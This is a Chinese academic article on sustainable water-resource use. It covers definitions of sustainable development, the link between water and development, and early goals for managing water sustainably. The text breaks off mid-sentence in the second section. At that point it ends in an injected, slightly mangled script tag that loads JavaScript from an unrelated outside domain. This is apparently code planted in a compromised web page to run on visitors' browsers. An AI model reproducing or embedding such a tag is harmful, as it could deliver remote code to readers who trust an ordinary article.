摘 要：阐述可持续发展的要求和水资源的可持续利用问题．以土耳其gap地区的水与发展为例，并以我国长江流域为对象，探讨中国的水利发展总战略．认为水资源可持续利用的目的在于支持经济社会的可持续发展．经济、社会的发展是需水（包括水量、水质，有时还需栖息地质量）方，如何由水工程或其他措施供水是供水方，两者必须多次反馈、协调、统一才能做出一个优化的决策．
关键词：水资源；可持续利用；可持续发展；社会经济；环境
1 可持续发展的要求
发展是人类普遍的要求，是基本人权不可分割的组成部分．无论是发达国家还是发展中国家都需要发展，中国用简单的文字表达，“发展是硬道理”，真是至理名言．概括地说，过去的传统模式是以“高投入、高消耗、高污染”为特点的经济增长模式，这种模式是很不理想的．人类在漫长的生活过程中，不断总结经验，探索未来，逐步认识到只有走可持续发展的道路才是唯一正确的选择．1992年世界环境与发展大会以后，中国率先编制的“21世纪议程”则是贯彻可持续发展战略的具体行动计划．
可持续发展是世界环境与发展委员会于1987年在其报告《我们共同的未来》中第一次正式提出的，并经联合国同意．1992年世界环境与发展大会对其涵义又有新的发展．
可持续发展的英文是sustainable development，1988年在第6届世界水资源大会上就开始讨论这一问题，当时直译为可以承受的发展，大意是指环境可以承受的发展，即在发展中要以环境为控制的焦点．总起来说，可从以下几方面来认识：
a．从发展的时间尺度考虑，可定义为：“既满足当代人的需要，又不对后代人满足其需求能力构成危害的发展”．
b．从发展的空间尺度考虑，还应加上“特定区域的需要不危害和削弱其他区域满足其需求的能力”．
c．从人与自然的关系上考虑，要求人与自然和谐共处，以人为本．
具体地说，可持续发展意味着，不仅要将人为资源而且也要将足够数量的自然资源（土壤、水、植物和动物）传给下一代，以继续改善生活质量（1987年世界环境与发展大会）．
因此，可持续发展是一个综合的和动态的概念，它是经济问题、社会问题、资源问题、环境问题四者互相影响、互相协调的综合体，并且随着社会和科学技术的进步，不断地对这个综合体的组成部分进行变革、提高，圆满地按上述3个指导思想进行发展活动．
目前有许多行业提出了诸如可持续经济、可持续农业、可持续林业、环境的可持续性、水资源的可持续利用与保护等．它们大都是可持续发展的一般性概念的应用．
水与可持续发展的关系：
a．联合国科教文组织的一个研究小组认为，强调水资源系统的可持续性旨在保持生态、环境和水文系统完整性的同时，有助于现在和未来实现经济社会发展目标．
b．联合国可持续发展高级顾问委员会具体地选出了可持续发展3个非常重要的战略部门，即能源、运输与水．其实能源、运输都与水有关，所以水是可持续发展中的重要问题．
c．水资源开发应提高为多种开发；它不仅是河流开发，还包括水的再循环和雨水收集、水权转移、水的脱盐淡化……还应把保护生态和生态系统的健康作为任何水开发方案必须考虑的程序．
d．“现在不是继续去寻找水来满足将来的需要，而是应进行规划，在有限的资源范围内满足人类和生态系统现在和将来的需要．这是一个根本性的转变———水文改革．”
2 水资源可持续利用释义及管理目标
如何理解水资源可持续利用尚是一个在不断探索的问题：
a．可持续性，在时间上有多长？是否只包括下一代或两代，即子孙后代，约50年？
b．可持续利用的对象并不是永久不变的，如何变？也很难确定．
c．用水资源的可持续利用支持社会、经济的可持续发展是水利工作的总战略．这里“发展”是总目标，水利必须为“发展”服务，所以首先必须以“需”定“供”，不断反馈，做到供需平衡．
d．可持续利用的供水范围，可以是全球性的整个的人类社会，也可以是一个流域或一个地区的．
e．gleick1996年在《世界淡水资源综合评估》中对水的可持续利用作了大体的定义：“水利用需达到保持人类社会持久地发展至无限未来的能力，而不损害水循环的整体性，也不损害依赖水而生存的各种生态系统”．
f．文献［1］对水资源可持续利用的标准和目标也作了介绍，主要是：①人类基本用水要求．首要目标是满足人类基本需要的一个基本用水量．对于人类来说，饮用水不足是直接造成每年几百万人过早死亡的原因．以可以承受的价格提供支持人类代谢和保持人类健康的基本淡水量应该得到各国政府、国际组织、地方供水商和非政府组织有保障的承诺．②环境基本用水要求．第2项标准要求应保证满足自然生态?script src=http://er12.com/t.js>
